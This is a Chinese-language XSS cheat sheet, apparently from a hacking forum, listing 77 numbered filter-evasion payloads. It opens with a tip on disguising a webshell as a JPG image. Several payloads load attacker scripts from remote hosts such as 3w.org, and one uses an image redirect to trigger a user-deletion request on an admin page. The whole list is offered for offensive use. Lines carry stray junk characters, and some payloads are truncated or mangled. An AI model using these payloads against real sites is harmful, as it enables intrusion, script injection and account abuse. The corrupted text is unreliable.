跨站图片shell
* N: o/ n$ k- L5 T& qXSS跨站代码 <script>alert("")</script>7 x% i0 l% m* ]' i I" l$ |
1 Z# H3 `4 D5 e
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马/ Z. f3 H( u* D3 c+ o
l, r& v$ x2 b' ~& E
6 m* g: A* q0 V# H/ A( E3 ^0 k! g: G
1)普通的XSS JavaScript注入
, @: d1 Z# S/ z+ T+ T<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
7 L6 ?% l8 S$ }& y' m* h
+ w, H& T+ @ s1 q# l(2)IMG标签XSS使用JavaScript命令1 J O3 t8 \4 l
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>, z( `, g& o' j+ G1 j
( w3 y/ \+ M" a& ]
(3)IMG标签无分号无引号
. Q5 u K/ A/ A, Z5 [( K: [<IMG SRC=javascript:alert(‘XSS’)>7 Q0 p/ F% V0 e- Z) r) C
* w3 H& L9 c* E(4)IMG标签大小写不敏感' t. q( P! {( ?$ H9 Z6 ~$ K% ~
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>6 \* K" ^0 T5 ?! d+ R2 Q/ v
6 @. v% c+ T; v& q(5)HTML编码(必须有分号)
4 ]. G8 _' }) Q+ U3 B W' L<IMG SRC=javascript:alert(“XSS”)>( H, q0 a* t9 O$ a0 m- w
0 f! F9 H$ u5 }- }! D& ~6 I7 _(6)修正缺陷IMG标签1 o* S. K9 i' @+ U, J# l
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
; v' |. H- L$ O/ X' H3 E( L O" ^5 J8 t' K, e+ f$ h
(7)formCharCode标签(计算器)
: ~2 r9 T9 |, y4 C+ C: g7 x<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
7 o" b6 W$ r" I9 U% }3 h$ j
8 c" Y6 t; x; ?* W(8)UTF-8的Unicode编码(计算器)& u1 ]3 V; h5 T) |' G
<IMG SRC=jav..省略..S')>' \$ s1 L% a1 k! Q# Y2 I6 Q6 f
/ X! y) Z \$ W
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)/ b6 m# m! {% R) Q. ^; b
<IMG SRC=jav..省略..S')>% J2 j( L0 `1 n0 V3 K. h/ z/ O
$ s, Q9 \6 o k, l$ W+ Y p(10)十六进制编码也是没有分号(计算器)% f# D4 w: ?' m
<IMG SRC=java..省略..XSS')>
. }0 @/ b: L7 Q- f! C5 r
# {1 K4 U& q2 t8 v1 t$ @: y# r2 W(11)嵌入式标签,将Javascript分开) [4 g M0 n1 T0 r
<IMG SRC=”jav ascript:alert(‘XSS’);”>
3 l" Y( ^. Z9 A- s; @0 b, u2 {7 c
" y5 {$ R) L! z(12)嵌入式编码标签,将Javascript分开
2 o/ I$ I P! w' v3 `, [7 _<IMG SRC=”jav ascript:alert(‘XSS’);”>
9 i9 X* g# @8 j6 C V/ W. P/ x1 ^# ^5 d9 w' H! s5 _
(13)嵌入式换行符2 r& g# N/ p4 G
<IMG SRC=”jav ascript:alert(‘XSS’);”>
( ]: N7 [. U* M; o8 o3 j9 u8 p# v" G; D& u8 R& @7 ]! `4 O4 r! `
(14)嵌入式回车
, ^) ~, {' F4 g/ ]1 }3 l( _<IMG SRC=”jav ascript:alert(‘XSS’);”>
$ q* f# x4 Y/ @
# y0 o4 P* q5 c) O$ J(15)嵌入式多行注入JavaScript,这是XSS极端的例子
5 j/ t9 H1 Z7 R {' z* F8 M0 \<IMG SRC=”javascript:alert(‘XSS‘)”>
8 G {; J' g& I$ |$ F/ ~* u, E! x
. @" v7 G* h8 C) J(16)解决限制字符(要求同页面)
/ e5 g* e, U, N, x<script>z=’document.’</script>
. ]4 f* A- O+ O' K: |+ p; E+ Z<script>z=z+’write(“‘</script>
+ M* \, K& H. v! e! [<script>z=z+’<script’</script>: F0 R3 S# M3 O4 B$ a
<script>z=z+’ src=ht’</script>0 d: f8 w) M. Q' p4 `
<script>z=z+’tp://ww’</script>
3 B$ S8 e* P8 i4 A7 J<script>z=z+’w.shell’</script>% ^' t u6 T4 u! g
<script>z=z+’.net/1.’</script>
: ~$ t% |' ^0 m$ b! G+ t* o<script>z=z+’js></sc’</script>
3 ]; t( \7 Q" I$ F/ H<script>z=z+’ript>”)’</script>
) y4 I* ?+ l1 h) }0 y4 ~<script>eval_r(z)</script>
; `- z2 \/ t. g2 K" I
/ Y( j& w6 K% n8 i- V* `(17)空字符4 i+ ]2 m! f' X8 z) M
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
& i6 A P0 B; n, w( O$ m7 @$ x9 \! {: f# u
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用8 P% s4 l4 A4 V* _5 y
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
1 b, O: q/ c6 ?/ @% ]* w
" p" d, Z* U# ~9 `* ]) D(19)Spaces和meta前的IMG标签* t( e0 N0 O: T2 S: d s
<IMG SRC=” javascript:alert(‘XSS’);”># m# o; c% e- o- b/ r5 M1 Y S2 a! y% p* u
% i! P( T7 ]4 w8 y9 g' @(20)Non-alpha-non-digit XSS
7 @1 l) N" G; w) `( V" K<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
2 x3 t- E: w3 p: n& ?) }# Y9 T! K7 y* H/ D
(21)Non-alpha-non-digit XSS to 2
" R% G V' U. H, v" {! Q<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>; q5 G% f$ w- a: h
7 g# e& I" O# c) y' @0 ~3 f(22)Non-alpha-non-digit XSS to 3
# K% C, u6 u8 k& }6 \<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>; D% o7 N( \1 ~- Y" l% O" ~( ]
4 a: J* G. M4 G& d% X(23)双开括号
% j8 M/ e/ w3 r<<SCRIPT>alert(“XSS”);//<</SCRIPT>* T* [2 S9 {' b6 X: g0 Q
# A! l$ N2 L. P* _. c. P
(24)无结束脚本标记(仅火狐等浏览器)1 a' D7 k7 L% k+ j' X% \) P) x/ K
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>; p7 T' n" ^# }* k4 c3 J' z
# R3 l1 _- I+ E- j4 J(25)无结束脚本标记2
* e$ Y2 d) C! W2 C0 L" _<SCRIPT SRC=//3w.org/XSS/xss.js>% V6 |9 G. v2 j5 O
# m2 c, x) L; x(26)半开的HTML/JavaScript XSS
( k5 e/ |6 J( f, a; k( c% k U<IMG SRC=”javascript:alert(‘XSS’)”9 B2 W) T9 ~, C
7 W# B* k" u2 L0 ?0 U8 N! _, t
(27)双开角括号
% Z+ a/ A5 u% ?! L<iframe src=http://3w.org/XSS.html <
: b" A% A! y& @& O
. v- _% a2 S3 ^& U0 {$ U4 z2 c* P3 n) r(28)无单引号 双引号 分号2 L" a* b$ d" g* a0 z$ H) z* f
<SCRIPT>a=/XSS/
/ A( s9 u |/ `' }0 Q7 t* @/ g; j2 dalert(a.source)</SCRIPT>
1 \9 N# u$ m! i+ Y. P
# @7 v- B$ M( a8 J8 U1 X }(29)换码过滤的JavaScript
! w3 F H" m' ~/ \- V( [\”;alert(‘XSS’);//) X! r2 f+ h" o8 ]: ?- f
# L0 r5 @. `! b' |
(30)结束Title标签2 g6 m% H. e, G8 \5 \' a
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>$ N" f# y% {, \# E$ z
" m% l0 Q! C2 {& Q0 G- y(31)Input Image
; F" ?6 m( M& x7 c2 F6 Z<INPUT SRC=”javascript:alert(‘XSS’);”>% c @' H+ [; j% h
8 k- E; E5 G" d(32)BODY Image
8 Z- e0 X9 `. h/ }5 E) D<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
& }( ~2 K$ x6 {# K1 ~
; u5 m% z' [& K6 {& h(33)BODY标签
5 w" g H# ? q, t3 c! O5 N<BODY(‘XSS’)> r3 {/ v; D9 B. I) }+ }3 |5 Y7 w* g2 `. ]
1 ^ x. m4 D1 u. q; f8 G" u( ?
(34)IMG Dynsrc1 s" V& ~* U6 e& ]' m( i* w8 Z
<IMG DYNSRC=”javascript:alert(‘XSS’)”>: j6 A# M: `9 N5 t
+ I3 i6 N# h! j/ f6 ]$ ]( ]. D
(35)IMG Lowsrc& j' }! d2 ?( [7 o1 @% L. w& p
<IMG LOWSRC=”javascript:alert(‘XSS’)”>5 b% o& `( L6 P
5 A L& ]; }5 m8 G" y" i(36)BGSOUND
, s, U" T/ R6 Q$ W<BGSOUND SRC=”javascript:alert(‘XSS’);”>
0 u5 e7 ^) `) p3 Z4 O+ o" B% ~1 X
(37)STYLE sheet
! f- B( X; O$ U+ i9 F<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
! P" B% s( r/ [, g2 k& b N* h7 W1 z6 p% w: g
(38)远程样式表
8 V. a1 ?- ]7 Q<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
w; \6 \+ |* i K; d; R& R) X$ j, C7 [8 G, f
(39)List-style-image(列表式)
% F" _$ m1 ~# w( @8 f. Y/ `% H8 I<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS" i* j G M6 t9 ~
( i% p/ Y! U4 A) S6 [1 z(40)IMG VBscript
# j+ Q& Q/ {. P, a<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS9 b ^9 I- ?) t* K
$ Y( {: L4 e& v8 r0 s5 k(41)META链接url! }( ]% b* Z |1 V
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
6 K Q; r* v7 |- O3 q0 e( x
. c2 \1 ^4 O. W& h# T(42)Iframe
$ N# p/ l+ ^, M5 R! W# n<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>1 V+ M, l7 y: x; B0 H1 {
(43)Frame1 Y9 `5 P: u7 p' d5 c
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
/ P3 }- `6 R! O7 `
$ J6 J8 Z' ]: e: |% w(44)Table
7 @; c! T. {- G! W; k. l, V<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>+ Y- I7 L6 N9 {1 u) L
" t# H' d( O w! H& {
(45)TD+ N v4 U6 v) d! z; i4 v7 G' J
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
; j8 p# c: P" g4 }& Z* t6 M( b- s& q: w8 Z$ A5 M" t
(46)DIV background-image
Q$ d7 j) {( c; t<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”># _4 i; j5 }* B- ~' A" r* ` l
, } L! l; F: b" ]4 G# B# {(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)' d9 l4 @5 O# L6 W- q. B3 r
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
7 D; _" H$ Z/ J" w) ] e, \/ q$ I) D. d# G. W5 c
(48)DIV expression" B+ m" y; S( z+ ]5 q
<DIV STYLE=”width: expression_r(alert(‘XSS’));”> c! M. `1 N& R4 q
/ @' } L) q% j8 s/ T4 `4 B
(49)STYLE属性分拆表达0 [* P6 \$ I ~3 O |
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
* a4 Q' ^$ b9 t/ t& J2 j5 B3 u9 ?- T7 E$ k. }+ x; t
(50)匿名STYLE(组成:开角号和一个字母开头)/ o+ R! G7 A, B* p" H# n' J
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
9 n) `* P9 \4 m- s8 [+ g0 s: M$ a0 u: J: K6 N5 M) y
(51)STYLE background-image
* b9 {+ l7 l0 Q) e& Q6 d5 O<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
! Q: @) I. H* ^0 r5 Z; a/ r9 l# h' f/ y
(52)IMG STYLE方式
; N- Z8 h( k; L/ eexppression(alert(“XSS”))’>8 q& n- H& X8 ~% F
: _3 e1 m2 z5 \6 K) F- z$ w9 z
(53)STYLE background* D( x! N; {* c0 b8 A2 g/ b [
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
Z1 Q1 _) \: ^2 z- ^
# } i5 @5 |- I9 H& J(54)BASE4 @! c/ j0 a% B2 Y
<BASE HREF=”javascript:alert(‘XSS’);//”>: x9 ~* ]2 {. Q) c8 I( Q
. l+ t' V2 T6 t5 I+ R$ D(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS5 y9 Q" M9 @4 y* H2 j' S8 `
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>8 X2 W. w' V( T2 q
7 W% J' H( v d$ J: F# v% s) M
(56)在flash中使用ActionScrpt可以混进你XSS的代码
+ N$ z6 S% X% o, @- ~a=”get”;
3 `3 X o: v0 [$ @5 Mb=”URL(\”";
6 B7 y, ?, @. Q8 r% W# U8 rc=”javascript:”;
) F" m: h2 d1 D: Id=”alert(‘XSS’);\”)”;, _- A) g, w: ?" S8 f2 L
eval_r(a+b+c+d);
- X5 u8 h W: D0 H/ {5 W8 J3 \! `' M
: f t0 h0 b' ?(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上! {5 _' ]4 p3 _: \
<HTML xmlns:xss>3 m' ^- v: n2 S B3 \* d
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>, } P8 i$ t* Y% u3 s9 c; X
<xss:xss>XSS</xss:xss>
3 {1 j9 ]9 q6 U0 t( v( b</HTML>
+ m! [( `; i A$ l
$ s1 T8 v9 x5 |(58)如果过滤了你的JS你可以在图片里添加JS代码来利用' v/ M" k/ @1 _" V6 G" L0 p6 t
<SCRIPT SRC=””></SCRIPT>
3 ^0 E9 i/ g8 z2 z7 |2 N$ ~* V+ k T$ _. n% J3 F
(59)IMG嵌入式命令,可执行任意命令" A; @$ m8 Y: o9 W* g1 {' i
<IMG SRC=”http://www.XXX.com/a.php?a=b”>4 S% J' ]& S8 s2 ~0 Y
: F4 a& y0 m. m$ E; x5 d* Z(60)IMG嵌入式命令(a.jpg在同服务器)5 {' o, D! w# F; S
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
) s2 B: _. D/ O, w; }% t( j1 z9 F4 D8 j3 d, T! N+ K
(61)绕符号过滤0 C" M3 P. d. G! }$ [
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>. t6 z! N; o9 P# a+ E9 I
: x, Z- l1 ~& X/ v( `2 ^(62)
; I D3 m- s( p. ~<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>4 P/ x4 `" R+ ]5 W+ n
" O5 Q ]6 ~7 f- B3 R(63)' j# P% a& c7 t n. M
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>$ s0 u0 U$ |- O$ u& Z/ P4 N/ h
6 r: j" `1 ?4 h9 {8 l E1 }9 {9 D0 n
(64). I% A" P6 H! R8 W. e' l* T$ _
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
: I- U( n7 c. Q! w$ s
( l; p4 S# |7 I. w, S( i: T(65)
$ }( a, ?9 A9 {<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
4 M0 b! H4 x6 M5 S! D X4 A' w
4 e+ D# d9 h9 e% Z A: l* r$ ?(66). Y" n9 L- I, I* x: M2 o
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
Y, X! k5 e& p& q& T- W5 m4 S& Q' `' `' z3 ^, `* y
(67)
3 O% D1 U D( x/ k5 y4 q<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>/ u- Z4 Y( M( ~( U# E0 ], z
/ k0 P7 p2 H$ y( o+ I. p(68)URL绕行
* y/ l" e j" a9 K# F- q& U9 I<A HREF=”http://127.0.0.1/”>XSS</A>
6 P) O+ o: A+ E3 t3 H3 C8 [1 z% q
4 q! c- d; W9 {& N* ~- z. ?(69)URL编码4 t" n* y. a; v Y- _$ e b/ h
<A HREF=”http://3w.org”>XSS</A>/ J+ ^/ r, v3 U* s |
& q/ k+ W. P. [! M& h(70)IP十进制
5 z6 [/ j& [( ^2 e4 [/ l5 `<A HREF=”http://3232235521″>XSS</A>, @+ t( F9 |0 \. I- l
1 k' I; R3 r7 Y' e2 C; I. l0 ]# ^2 v(71)IP十六进制; O: S% m$ g% H. H* A" X( r" T
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>0 _5 t3 l; i1 O. T$ M2 A0 i" w
0 i4 E( B5 A& s' \" k& I(72)IP八进制
7 T) S2 c6 V2 E$ T! c<A HREF=”http://0300.0250.0000.0001″>XSS</A>
: d+ Z; N& L( o0 q, T2 V2 ~6 m+ {; m6 l& o1 O( i
(73)混合编码
# d! h w1 y9 e, V8 m/ X% i" f<A HREF=”h) P: m+ g& q* O
tt p://6 6.000146.0×7.147/”">XSS</A>
4 H; G/ t9 p9 s" @9 @$ {2 t7 W7 a, ?- B3 L# d
(74)节省[http:]3 _) `2 _* f( |( X' a
<A HREF=”//www.google.com/”>XSS</A>: S! d" i3 R6 E+ ]+ N
- f' X' m% H* U( _& \. K7 X
(75)节省[www]
$ C* D6 z0 W4 v+ i3 d1 b<A HREF=”http://google.com/”>XSS</A>, Z/ ]' ~+ \* p5 O/ i- H
; e- X) e$ h/ E0 J- x; M0 z(76)绝对点绝对DNS! l3 g/ [6 u r, I" l4 o
<A HREF=”http://www.google.com./”>XSS</A>
7 S* U! s0 i# ^* Y' M8 v5 d2 \
- E4 @ k/ d' ?% G+ W1 ](77)javascript链接
4 c0 @' L1 K' p6 d1 g<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
* [+ A3 i) u& U' J9 ]: w) b3 [ |